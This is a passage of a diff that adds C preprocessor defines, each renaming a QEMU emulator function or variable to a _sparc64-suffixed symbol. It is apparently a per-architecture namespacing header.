machine_register_types_sparc64 +#define machvirt_init machvirt_init_sparc64 +#define machvirt_machine_init machvirt_machine_init_sparc64 +#define maj maj_sparc64 +#define mapping_conflict mapping_conflict_sparc64 +#define mapping_contiguous mapping_contiguous_sparc64 +#define mapping_have_same_region mapping_have_same_region_sparc64 +#define mapping_merge mapping_merge_sparc64 +#define mem_add mem_add_sparc64 +#define mem_begin mem_begin_sparc64 +#define mem_commit mem_commit_sparc64 +#define memory_access_is_direct memory_access_is_direct_sparc64 +#define memory_access_size memory_access_size_sparc64 +#define memory_init memory_init_sparc64 +#define memory_listener_match memory_listener_match_sparc64 +#define memory_listener_register memory_listener_register_sparc64 +#define memory_listener_unregister memory_listener_unregister_sparc64 +#define memory_map_init memory_map_init_sparc64 +#define memory_mapping_filter memory_mapping_filter_sparc64 +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_sparc64 +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_sparc64 +#define memory_mapping_list_free memory_mapping_list_free_sparc64 +#define memory_mapping_list_init memory_mapping_list_init_sparc64 +#define memory_region_access_valid memory_region_access_valid_sparc64 +#define memory_region_add_subregion memory_region_add_subregion_sparc64 +#define memory_region_add_subregion_common memory_region_add_subregion_common_sparc64 +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_sparc64 +#define memory_region_big_endian memory_region_big_endian_sparc64 +#define memory_region_clear_pending memory_region_clear_pending_sparc64 +#define memory_region_del_subregion memory_region_del_subregion_sparc64 +#define memory_region_destructor_alias memory_region_destructor_alias_sparc64 +#define memory_region_destructor_none memory_region_destructor_none_sparc64 +#define memory_region_destructor_ram memory_region_destructor_ram_sparc64 +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_sparc64 +#define memory_region_dispatch_read memory_region_dispatch_read_sparc64 +#define memory_region_dispatch_read1 memory_region_dispatch_read1_sparc64 +#define memory_region_dispatch_write memory_region_dispatch_write_sparc64 +#define memory_region_escape_name memory_region_escape_name_sparc64 +#define memory_region_finalize memory_region_finalize_sparc64 +#define memory_region_find memory_region_find_sparc64 +#define memory_region_get_addr memory_region_get_addr_sparc64 +#define memory_region_get_alignment memory_region_get_alignment_sparc64 +#define memory_region_get_container memory_region_get_container_sparc64 +#define memory_region_get_fd memory_region_get_fd_sparc64 +#define memory_region_get_may_overlap memory_region_get_may_overlap_sparc64 +#define memory_region_get_priority memory_region_get_priority_sparc64 +#define memory_region_get_ram_addr memory_region_get_ram_addr_sparc64 +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_sparc64 +#define memory_region_get_size memory_region_get_size_sparc64 +#define memory_region_info memory_region_info_sparc64 +#define memory_region_init memory_region_init_sparc64 +#define memory_region_init_alias memory_region_init_alias_sparc64 +#define memory_region_initfn memory_region_initfn_sparc64 +#define memory_region_init_io memory_region_init_io_sparc64 +#define memory_region_init_ram memory_region_init_ram_sparc64 +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_sparc64 +#define memory_region_init_reservation memory_region_init_reservation_sparc64 +#define memory_region_is_iommu memory_region_is_iommu_sparc64 +#define memory_region_is_logging memory_region_is_logging_sparc64 +#define memory_region_is_mapped memory_region_is_mapped_sparc64 +#define memory_region_is_ram memory_region_is_ram_sparc64 +#define memory_region_is_rom memory_region_is_rom_sparc64 +#define memory_region_is_romd memory_region_is_romd_sparc64 +#define memory_region_is_skip_dump memory_region_is_skip_dump_sparc64 +#define memory_region_is_unassigned memory_region_is_unassigned_sparc64 +#define memory_region_name memory_region_name_sparc64 +#define memory_region_need_escape memory_region_need_escape_sparc64 +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_sparc64 +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_sparc64 +#define memory_region_present memory_region_present_sparc64 +#define memory_region_read_accessor memory_region_read_accessor_sparc64 +#define memory_region_readd_subregion memory_region_readd_subregion_sparc64 +#define memory_region_ref memory_region_ref_sparc64 +#define memory_region_resolve_container memory_region_resolve_container_sparc64 +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_sparc64 +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_sparc64 +#define memory_region_set_address memory_region_set_address_sparc64 +#define memory_region_set_alias_offset memory_region_set_alias_offset_sparc64 +#define memory_region_set_enabled memory_region_set_enabled_sparc64 +#define memory_region_set_readonly memory_region_set_readonly_sparc64 +#define memory_region_set_skip_dump memory_region_set_skip_dump_sparc64 +#define memory_region_size memory_region_size_sparc64 +#define memory_region_to_address_space memory_region_to_address_space_sparc64 +#define memory_region_transaction_begin memory_region_transaction_begin_sparc64 +#define memory_region_transaction_commit memory_region_transaction_commit_sparc64 +#define memory_region_unref memory_region_unref_sparc64 +#define memory_region_update_container_subregions memory_region_update_container_subregions_sparc64 +#define memory_region_write_accessor memory_region_write_accessor_sparc64 +#define memory_region_wrong_endianness memory_region_wrong_endianness_sparc64 +#define memory_try_enable_merging memory_try_enable_merging_sparc64 +#define module_call_init module_call_init_sparc64 +#define module_load module_load_sparc64 +#define mpidr_cp_reginfo mpidr_cp_reginfo_sparc64 +#define mpidr_read mpidr_read_sparc64 +#define msr_mask msr_mask_sparc64 +#define mul128By64To192 mul128By64To192_sparc64 +#define mul128To256 mul128To256_sparc64 +#define mul64To128 mul64To128_sparc64 +#define muldiv64 muldiv64_sparc64 +#define neon_2rm_is_float_op neon_2rm_is_float_op_sparc64 +#define neon_2rm_sizes neon_2rm_sizes_sparc64 +#define neon_3r_sizes neon_3r_sizes_sparc64 +#define neon_get_scalar neon_get_scalar_sparc64 +#define neon_load_reg neon_load_reg_sparc64 +#define neon_load_reg64 neon_load_reg64_sparc64 +#define neon_load_scratch neon_load_scratch_sparc64 +#define neon_ls_element_type neon_ls_element_type_sparc64 +#define neon_reg_offset neon_reg_offset_sparc64 +#define neon_store_reg neon_store_reg_sparc64 +#define neon_store_reg64 neon_store_reg64_sparc64 +#define neon_store_scratch neon_store_scratch_sparc64 +#define new_ldst_label new_ldst_label_sparc64 +#define next_list next_list_sparc64 +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_sparc64 +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_sparc64 +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_sparc64 +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_sparc64 +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_sparc64 +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_sparc64 +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_sparc64 +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_sparc64 +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_sparc64 +#define not_v6_cp_reginfo not_v6_cp_reginfo_sparc64 +#define not_v7_cp_reginfo not_v7_cp_reginfo_sparc64 +#define not_v8_cp_reginfo not_v8_cp_reginfo_sparc64 +#define object_child_foreach object_child_foreach_sparc64 +#define object_class_foreach object_class_foreach_sparc64 +#define object_class_foreach_tramp object_class_foreach_tramp_sparc64 +#define object_class_get_list object_class_get_list_sparc64 +#define object_class_get_list_tramp object_class_get_list_tramp_sparc64 +#define object_class_get_parent object_class_get_parent_sparc64 +#define object_deinit object_deinit_sparc64 +#define object_dynamic_cast object_dynamic_cast_sparc64 +#define object_finalize object_finalize_sparc64 +#define object_finalize_child_property object_finalize_child_property_sparc64 +#define object_get_child_property object_get_child_property_sparc64 +#define object_get_link_property object_get_link_property_sparc64 +#define object_get_root object_get_root_sparc64 +#define object_initialize_with_type object_initialize_with_type_sparc64 +#define object_init_with_type object_init_with_type_sparc64 +#define object_instance_init object_instance_init_sparc64 +#define object_new_with_type object_new_with_type_sparc64 +#define object_post_init_with_type object_post_init_with_type_sparc64 +#define object_property_add_alias object_property_add_alias_sparc64 +#define object_property_add_link object_property_add_link_sparc64 +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_sparc64 +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_sparc64 +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_sparc64 +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_sparc64 +#define object_property_allow_set_link object_property_allow_set_link_sparc64 +#define object_property_del object_property_del_sparc64 +#define object_property_del_all object_property_del_all_sparc64 +#define object_property_find object_property_find_sparc64 +#define object_property_get object_property_get_sparc64 +#define object_property_get_bool object_property_get_bool_sparc64 +#define object_property_get_int object_property_get_int_sparc64 +#define object_property_get_link object_property_get_link_sparc64 +#define object_property_get_qobject object_property_get_qobject_sparc64 +#define object_property_get_str object_property_get_str_sparc64 +#define object_property_get_type object_property_get_type_sparc64 +#define object_property_is_child object_property_is_child_sparc64 +#define object_property_set object_property_set_sparc64 +#define object_property_set_description object_property_set_description_sparc64 +#define object_property_set_link object_property_set_link_sparc64 +#define object_property_set_qobject object_property_set_qobject_sparc64 +#define object_release_link_property object_release_link_property_sparc64 +#define object_resolve_abs_path object_resolve_abs_path_sparc64 +#define object_resolve_child_property object_resolve_child_property_sparc64 +#define object_resolve_link object_resolve_link_sparc64 +#define object_resolve_link_property object_resolve_link_property_sparc64 +#define object_resolve_partial_path object_resolve_partial_path_sparc64 +#define object_resolve_path object_resolve_path_sparc64 +#define object_resolve_path_component object_resolve_path_component_sparc64 +#define object_resolve_path_type object_resolve_path_type_sparc64 +#define object_set_link_property object_set_link_property_sparc64 +#define object_unparent object_unparent_sparc64 +#define omap_cachemaint_write omap_cachemaint_write_sparc64 +#define omap_cp_reginfo omap_cp_reginfo_sparc64 +#define omap_threadid_write omap_threadid_write_sparc64 +#define omap_ticonfig_write omap_ticonfig_write_sparc64 +#define omap_wfi_write omap_wfi_write_sparc64 +#define op_bits op_bits_sparc64 +#define open_modeflags open_modeflags_sparc64 +#define op_to_mov op_to_mov_sparc64 +#define op_to_movi op_to_movi_sparc64 +#define output_type_enum output_type_enum_sparc64 +#define packFloat128 packFloat128_sparc64 +#define packFloat16 packFloat16_sparc64 +#define packFloat32 packFloat32_sparc64 +#define packFloat64 packFloat64_sparc64 +#define packFloatx80 packFloatx80_sparc64 +#define page_find page_find_sparc64 +#define page_find_alloc page_find_alloc_sparc64 +#define page_flush_tb page_flush_tb_sparc64 +#define page_flush_tb_1 page_flush_tb_1_sparc64 +#define page_init page_init_sparc64 +#define page_size_init page_size_init_sparc64 +#define par par_sparc64 +#define parse_array parse_array_sparc64 +#define parse_error parse_error_sparc64 +#define parse_escape parse_escape_sparc64 +#define parse_keyword parse_keyword_sparc64 +#define parse_literal parse_literal_sparc64 +#define parse_object parse_object_sparc64 +#define parse_optional parse_optional_sparc64 +#define parse_option_bool parse_option_bool_sparc64 +#define parse_option_number parse_option_number_sparc64 +#define parse_option_size parse_option_size_sparc64 +#define parse_pair parse_pair_sparc64 +#define parser_context_free parser_context_free_sparc64 +#define parser_context_new parser_context_new_sparc64 +#define parser_context_peek_token parser_context_peek_token_sparc64 +#define parser_context_pop_token parser_context_pop_token_sparc64 +#define parser_context_restore parser_context_restore_sparc64 +#define parser_context_save parser_context_save_sparc64 +#define parse_str parse_str_sparc64 +#define parse_type_bool parse_type_bool_sparc64 +#define parse_type_int parse_type_int_sparc64 +#define parse_type_number parse_type_number_sparc64 +#define parse_type_size parse_type_size_sparc64 +#define parse_type_str parse_type_str_sparc64 +#define parse_value parse_value_sparc64 +#define par_write par_write_sparc64 +#define patch_reloc patch_reloc_sparc64 +#define phys_map_node_alloc phys_map_node_alloc_sparc64 +#define phys_map_node_reserve phys_map_node_reserve_sparc64 +#define phys_mem_alloc phys_mem_alloc_sparc64 +#define phys_mem_set_alloc phys_mem_set_alloc_sparc64 +#define phys_page_compact phys_page_compact_sparc64 +#define phys_page_compact_all phys_page_compact_all_sparc64 +#define phys_page_find phys_page_find_sparc64 +#define phys_page_set phys_page_set_sparc64 +#define phys_page_set_level phys_page_set_level_sparc64 +#define phys_section_add phys_section_add_sparc64 +#define phys_section_destroy phys_section_destroy_sparc64 +#define phys_sections_free phys_sections_free_sparc64 +#define pickNaN pickNaN_sparc64 +#define pickNaNMulAdd pickNaNMulAdd_sparc64 +#define pmccfiltr_write pmccfiltr_write_sparc64 +#define pmccntr_read pmccntr_read_sparc64 +#define pmccntr_sync pmccntr_sync_sparc64 +#define pmccntr_write pmccntr_write_sparc64 +#define pmccntr_write32 pmccntr_write32_sparc64 +#define pmcntenclr_write pmcntenclr_write_sparc64 +#define pmcntenset_write pmcntenset_write_sparc64 +#define pmcr_write pmcr_write_sparc64 +#define pmintenclr_write pmintenclr_write_sparc64 +#define pmintenset_write pmintenset_write_sparc64 +#define pmovsr_write pmovsr_write_sparc64 +#define pmreg_access pmreg_access_sparc64 +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_sparc64 +#define pmsav5_data_ap_read pmsav5_data_ap_read_sparc64 +#define pmsav5_data_ap_write pmsav5_data_ap_write_sparc64 +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_sparc64 +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_sparc64 +#define pmuserenr_write pmuserenr_write_sparc64 +#define pmxevtyper_write pmxevtyper_write_sparc64 +#define print_type_bool print_type_bool_sparc64 +#define print_type_int print_type_int_sparc64 +#define print_type_number print_type_number_sparc64 +#define print_type_size print_type_size_sparc64 +#define print_type_str print_type_str_sparc64 +#define propagateFloat128NaN propagateFloat128NaN_sparc64 +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_sparc64 +#define propagateFloat32NaN propagateFloat32NaN_sparc64 +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_sparc64 +#define propagateFloat64NaN propagateFloat64NaN_sparc64 +#define propagateFloatx80NaN propagateFloatx80NaN_sparc64 +#define property_get_alias property_get_alias_sparc64 +#define property_get_bool property_get_bool_sparc64 +#define property_get_str property_get_str_sparc64 +#define property_get_uint16_ptr property_get_uint16_ptr_sparc64 +#define property_get_uint32_ptr property_get_uint32_ptr_sparc64 +#define property_get_uint64_ptr property_get_uint64_ptr_sparc64 +#define property_get_uint8_ptr property_get_uint8_ptr_sparc64 +#define property_release_alias property_release_alias_sparc64 +#define property_release_bool property_release_bool_sparc64 +#define property_release_str property_release_str_sparc64 +#define property_resolve_alias property_resolve_alias_sparc64 +#define property_set_alias property_set_alias_sparc64 +#define property_set_bool property_set_bool_sparc64 +#define property_set_str property_set_str_sparc64 +#define pstate_read pstate_read_sparc64 +#define pstate_write pstate_write_sparc64 +#define pxa250_initfn pxa250_initfn_sparc64 +#define pxa255_initfn pxa255_initfn_sparc64 +#define pxa260_initfn pxa260_initfn_sparc64 +#define pxa261_initfn pxa261_initfn_sparc64 +#define pxa262_initfn pxa262_initfn_sparc64 +#define pxa270a0_initfn pxa270a0_initfn_sparc64 +#define pxa270a1_initfn pxa270a1_initfn_sparc64 +#define pxa270b0_initfn pxa270b0_initfn_sparc64 +#define pxa270b1_initfn pxa270b1_initfn_sparc64 +#define pxa270c0_initfn pxa270c0_initfn_sparc64 +#define pxa270c5_initfn pxa270c5_initfn_sparc64 +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_sparc64 +#define qapi_dealloc_end_list qapi_dealloc_end_list_sparc64 +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_sparc64 +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_sparc64 +#define qapi_dealloc_next_list qapi_dealloc_next_list_sparc64 +#define qapi_dealloc_pop qapi_dealloc_pop_sparc64 +#define qapi_dealloc_push qapi_dealloc_push_sparc64 +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_sparc64 +#define qapi_dealloc_start_list qapi_dealloc_start_list_sparc64 +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_sparc64 +#define qapi_dealloc_start_union qapi_dealloc_start_union_sparc64 +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_sparc64 +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_sparc64 +#define qapi_dealloc_type_int qapi_dealloc_type_int_sparc64 +#define qapi_dealloc_type_number qapi_dealloc_type_number_sparc64 +#define qapi_dealloc_type_size qapi_dealloc_type_size_sparc64 +#define qapi_dealloc_type_str qapi_dealloc_type_str_sparc64 +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_sparc64 +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_sparc64 +#define qapi_free_boolList qapi_free_boolList_sparc64 +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_sparc64 +#define qapi_free_int16List qapi_free_int16List_sparc64 +#define qapi_free_int32List qapi_free_int32List_sparc64 +#define qapi_free_int64List qapi_free_int64List_sparc64 +#define qapi_free_int8List qapi_free_int8List_sparc64 +#define qapi_free_intList qapi_free_intList_sparc64 +#define qapi_free_numberList qapi_free_numberList_sparc64 +#define qapi_free_strList qapi_free_strList_sparc64 +#define qapi_free_uint16List qapi_free_uint16List_sparc64 +#define qapi_free_uint32List qapi_free_uint32List_sparc64 +#define qapi_free_uint64List qapi_free_uint64List_sparc64 +#define qapi_free_uint8List qapi_free_uint8List_sparc64 +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_sparc64 +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_sparc64 +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_sparc64 +#define qbool_destroy_obj qbool_destroy_obj_sparc64 +#define qbool_from_int qbool_from_int_sparc64 +#define qbool_get_int qbool_get_int_sparc64 +#define qbool_type qbool_type_sparc64 +#define qbus_create qbus_create_sparc64 +#define qbus_create_inplace qbus_create_inplace_sparc64 +#define qbus_finalize qbus_finalize_sparc64 +#define qbus_initfn qbus_initfn_sparc64 +#define qbus_realize qbus_realize_sparc64 +#define qdev_create qdev_create_sparc64 +#define qdev_get_type qdev_get_type_sparc64 +#define qdev_register_types qdev_register_types_sparc64 +#define qdev_set_parent_bus qdev_set_parent_bus_sparc64 +#define qdev_try_create qdev_try_create_sparc64 +#define qdict_add_key qdict_add_key_sparc64 +#define qdict_array_split qdict_array_split_sparc64 +#define qdict_clone_shallow qdict_clone_shallow_sparc64 +#define qdict_del qdict_del_sparc64 +#define qdict_destroy_obj qdict_destroy_obj_sparc64 +#define qdict_entry_key qdict_entry_key_sparc64 +#define qdict_entry_value qdict_entry_value_sparc64 +#define qdict_extract_subqdict qdict_extract_subqdict_sparc64 +#define qdict_find qdict_find_sparc64 +#define qdict_first qdict_first_sparc64 +#define qdict_flatten qdict_flatten_sparc64 +#define qdict_flatten_qdict qdict_flatten_qdict_sparc64 +#define qdict_flatten_qlist qdict_flatten_qlist_sparc64 +#define qdict_get qdict_get_sparc64 +#define qdict_get_bool qdict_get_bool_sparc64 +#define qdict_get_double qdict_get_double_sparc64 +#define qdict_get_int qdict_get_int_sparc64 +#define qdict_get_obj qdict_get_obj_sparc64 +#define qdict_get_qdict qdict_get_qdict_sparc64 +#define qdict_get_qlist qdict_get_qlist_sparc64 +#define qdict_get_str qdict_get_str_sparc64 +#define qdict_get_try_bool qdict_get_try_bool_sparc64 +#define qdict_get_try_int qdict_get_try_int_sparc64 +#define qdict_get_try_str qdict_get_try_str_sparc64 +#define qdict_haskey qdict_haskey_sparc64 +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_sparc64 +#define qdict_iter qdict_iter_sparc64 +#define qdict_join qdict_join_sparc64 +#define qdict_new qdict_new_sparc64 +#define qdict_next qdict_next_sparc64 +#define qdict_next_entry qdict_next_entry_sparc64 +#define qdict_put_obj qdict_put_obj_sparc64 +#define qdict_size qdict_size_sparc64 +#define qdict_type qdict_type_sparc64 +#define qemu_clock_get_us qemu_clock_get_us_sparc64 +#define qemu_clock_ptr qemu_clock_ptr_sparc64 +#define qemu_clocks qemu_clocks_sparc64 +#define qemu_get_cpu qemu_get_cpu_sparc64 +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_sparc64 +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_sparc64 +#define qemu_get_ram_block qemu_get_ram_block_sparc64 +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_sparc64 +#define qemu_get_ram_fd qemu_get_ram_fd_sparc64 +#define qemu_get_ram_ptr qemu_get_ram_ptr_sparc64 +#define qemu_host_page_mask qemu_host_page_mask_sparc64 +#define qemu_host_page_size qemu_host_page_size_sparc64 +#define qemu_init_vcpu qemu_init_vcpu_sparc64 +#define qemu_ld_helpers qemu_ld_helpers_sparc64 +#define qemu_log_close qemu_log_close_sparc64 +#define qemu_log_enabled qemu_log_enabled_sparc64 +#define qemu_log_flush qemu_log_flush_sparc64 +#define qemu_loglevel_mask qemu_loglevel_mask_sparc64 +#define qemu_log_vprintf qemu_log_vprintf_sparc64 +#define qemu_oom_check qemu_oom_check_sparc64 +#define qemu_parse_fd qemu_parse_fd_sparc64 +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_sparc64 +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_sparc64 +#define qemu_ram_alloc qemu_ram_alloc_sparc64 +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_sparc64 +#define qemu_ram_foreach_block qemu_ram_foreach_block_sparc64 +#define qemu_ram_free qemu_ram_free_sparc64 +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_sparc64 +#define qemu_ram_ptr_length qemu_ram_ptr_length_sparc64 +#define qemu_ram_remap qemu_ram_remap_sparc64 +#define qemu_ram_setup_dump qemu_ram_setup_dump_sparc64 +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_sparc64 +#define qemu_real_host_page_size qemu_real_host_page_size_sparc64 +#define qemu_st_helpers qemu_st_helpers_sparc64 +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_sparc64 +#define qemu_try_memalign qemu_try_memalign_sparc64 +#define qentry_destroy qentry_destroy_sparc64 +#define qerror_human qerror_human_sparc64 +#define qerror_report qerror_report_sparc64 +#define qerror_report_err qerror_report_err_sparc64 +#define qfloat_destroy_obj qfloat_destroy_obj_sparc64 +#define qfloat_from_double qfloat_from_double_sparc64 +#define qfloat_get_double qfloat_get_double_sparc64 +#define qfloat_type qfloat_type_sparc64 +#define qint_destroy_obj qint_destroy_obj_sparc64 +#define qint_from_int qint_from_int_sparc64 +#define qint_get_int qint_get_int_sparc64 +#define qint_type qint_type_sparc64 +#define qlist_append_obj qlist_append_obj_sparc64 +#define qlist_copy qlist_copy_sparc64 +#define qlist_copy_elem qlist_copy_elem_sparc64 +#define qlist_destroy_obj qlist_destroy_obj_sparc64 +#define qlist_empty qlist_empty_sparc64 +#define qlist_entry_obj qlist_entry_obj_sparc64 +#define qlist_first qlist_first_sparc64 +#define qlist_iter qlist_iter_sparc64 +#define qlist_new qlist_new_sparc64 +#define qlist_next qlist_next_sparc64 +#define qlist_peek qlist_peek_sparc64 +#define qlist_pop qlist_pop_sparc64 +#define qlist_size qlist_size_sparc64 +#define qlist_size_iter qlist_size_iter_sparc64 +#define qlist_type qlist_type_sparc64 +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_sparc64 +#define qmp_input_end_list qmp_input_end_list_sparc64 +#define qmp_input_end_struct qmp_input_end_struct_sparc64 +#define qmp_input_get_next_type qmp_input_get_next_type_sparc64 +#define qmp_input_get_object qmp_input_get_object_sparc64 +#define qmp_input_get_visitor qmp_input_get_visitor_sparc64 +#define qmp_input_next_list qmp_input_next_list_sparc64 +#define qmp_input_optional qmp_input_optional_sparc64 +#define qmp_input_pop qmp_input_pop_sparc64 +#define qmp_input_push qmp_input_push_sparc64 +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_sparc64 +#define qmp_input_start_list qmp_input_start_list_sparc64 +#define qmp_input_start_struct qmp_input_start_struct_sparc64 +#define qmp_input_type_bool qmp_input_type_bool_sparc64 +#define qmp_input_type_int qmp_input_type_int_sparc64 +#define qmp_input_type_number qmp_input_type_number_sparc64 +#define qmp_input_type_str qmp_input_type_str_sparc64 +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_sparc64 +#define qmp_input_visitor_new qmp_input_visitor_new_sparc64 +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_sparc64 +#define qmp_output_add_obj qmp_output_add_obj_sparc64 +#define qmp_output_end_list qmp_output_end_list_sparc64 +#define qmp_output_end_struct qmp_output_end_struct_sparc64 +#define qmp_output_first qmp_output_first_sparc64 +#define qmp_output_get_qobject qmp_output_get_qobject_sparc64 +#define qmp_output_get_visitor qmp_output_get_visitor_sparc64 +#define qmp_output_last qmp_output_last_sparc64 +#define qmp_output_next_list qmp_output_next_list_sparc64 +#define qmp_output_pop qmp_output_pop_sparc64 +#define qmp_output_push_obj qmp_output_push_obj_sparc64 +#define qmp_output_start_list qmp_output_start_list_sparc64 +#define qmp_output_start_struct qmp_output_start_struct_sparc64 +#define qmp_output_type_bool qmp_output_type_bool_sparc64 +#define qmp_output_type_int qmp_output_type_int_sparc64 +#define qmp_output_type_number qmp_output_type_number_sparc64 +#define qmp_output_type_str qmp_output_type_str_sparc64 +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_sparc64 +#define qmp_output_visitor_new qmp_output_visitor_new_sparc64 +#define qobject_decref qobject_decref_sparc64 +#define qobject_to_qbool qobject_to_qbool_sparc64 +#define qobject_to_qdict qobject_to_qdict_sparc64 +#define qobject_to_qfloat qobject_to_qfloat_sparc64 +#define qobject_to_qint qobject_to_qint_sparc64 +#define qobject_to_qlist qobject_to_qlist_sparc64 +#define qobject_to_qstring qobject_to_qstring_sparc64 +#define qobject_type qobject_type_sparc64 +#define qstring_append qstring_append_sparc64 +#define qstring_append_chr qstring_append_chr_sparc64 +#define qstring_append_int qstring_append_int_sparc64 +#define qstring_destroy_obj qstring_destroy_obj_sparc64 +#define qstring_from_escaped_str qstring_from_escaped_str_sparc64 +#define qstring_from_str qstring_from_str_sparc64 +#define qstring_from_substr qstring_from_substr_sparc64 +#define qstring_get_length qstring_get_length_sparc64 +#define qstring_get_str qstring_get_str_sparc64 +#define qstring_new qstring_new_sparc64 +#define qstring_type qstring_type_sparc64 +#define ram_block_add ram_block_add_sparc64 +#define ram_size ram_size_sparc64 +#define range_compare range_compare_sparc64 +#define range_covers_byte range_covers_byte_sparc64 +#define range_get_last range_get_last_sparc64 +#define range_merge range_merge_sparc64 +#define ranges_can_merge ranges_can_merge_sparc64 +#define raw_read raw_read_sparc64 +#define raw_write raw_write_sparc64 +#define rcon rcon_sparc64 +#define read_raw_cp_reg read_raw_cp_reg_sparc64 +#define recip_estimate recip_estimate_sparc64 +#define recip_sqrt_estimate recip_sqrt_estimate_sparc64 +#define register_cp_regs_for_features register_cp_regs_for_features_sparc64 +#define register_multipage register_multipage_sparc64 +#define register_subpage register_subpage_sparc64 +#define register_tm_clones register_tm_clones_sparc64 +#define register_types_object register_types_object_sparc64 +#define regnames regnames_sparc64 +#define render_memory_region render_memory_region_sparc64 +#define reset_all_temps reset_all_temps_sparc64 +#define reset_temp reset_temp_sparc64 +#define rol32 rol32_sparc64 +#define rol64 rol64_sparc64 +#define ror32 ror32_sparc64 +#define ror64 ror64_sparc64 +#define roundAndPackFloat128 roundAndPackFloat128_sparc64 +#define roundAndPackFloat16 roundAndPackFloat16_sparc64 +#define roundAndPackFloat32 roundAndPackFloat32_sparc64 +#define roundAndPackFloat64 roundAndPackFloat64_sparc64 +#define roundAndPackFloatx80 roundAndPackFloatx80_sparc64 +#define roundAndPackInt32 roundAndPackInt32_sparc64 +#define roundAndPackInt64 roundAndPackInt64_sparc64 +#define roundAndPackUint64 roundAndPackUint64_sparc64 +#define round_to_inf round_to_inf_sparc64 +#define run_on_cpu run_on_cpu_sparc64 +#define s0 s0_sparc64 +#define S0 S0_sparc64 +#define s1 s1_sparc64 +#define S1 S1_sparc64 +#define sa1100_initfn sa1100_initfn_sparc64 +#define sa1110_initfn sa1110_initfn_sparc64 +#define save_globals save_globals_sparc64 +#define scr_write scr_write_sparc64 +#define sctlr_write sctlr_write_sparc64 +#define set_bit set_bit_sparc64 +#define set_bits set_bits_sparc64 +#define set_default_nan_mode set_default_nan_mode_sparc64 +#define set_feature set_feature_sparc64 +#define set_float_detect_tininess set_float_detect_tininess_sparc64 +#define set_float_exception_flags set_float_exception_flags_sparc64 +#define set_float_rounding_mode set_float_rounding_mode_sparc64 +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_sparc64 +#define set_flush_to_zero set_flush_to_zero_sparc64 +#define set_swi_errno set_swi_errno_sparc64 +#define sextract32 sextract32_sparc64 +#define sextract64 sextract64_sparc64 +#define shift128ExtraRightJamming shift128ExtraRightJamming_sparc64 +#define shift128Right shift128Right_sparc64 +#define shift128RightJamming shift128RightJamming_sparc64 +#define shift32RightJamming shift32RightJamming_sparc64 +#define shift64ExtraRightJamming shift64ExtraRightJamming_sparc64 +#define shift64RightJamming shift64RightJamming_sparc64 +#define shifter_out_im shifter_out_im_sparc64 +#define shortShift128Left shortShift128Left_sparc64 +#define shortShift192Left shortShift192Left_sparc64 +#define simple_mpu_ap_bits simple_mpu_ap_bits_sparc64 +#define size_code_gen_buffer size_code_gen_buffer_sparc64 +#define softmmu_lock_user softmmu_lock_user_sparc64 +#define softmmu_lock_user_string softmmu_lock_user_string_sparc64 +#define softmmu_tget32 softmmu_tget32_sparc64 +#define softmmu_tget8 softmmu_tget8_sparc64 +#define softmmu_tput32 softmmu_tput32_sparc64 +#define softmmu_unlock_user softmmu_unlock_user_sparc64 +#define sort_constraints sort_constraints_sparc64 +#define sp_el0_access sp_el0_access_sparc64 +#define spsel_read spsel_read_sparc64 +#define spsel_write spsel_write_sparc64 +#define start_list start_list_sparc64 +#define stb_p 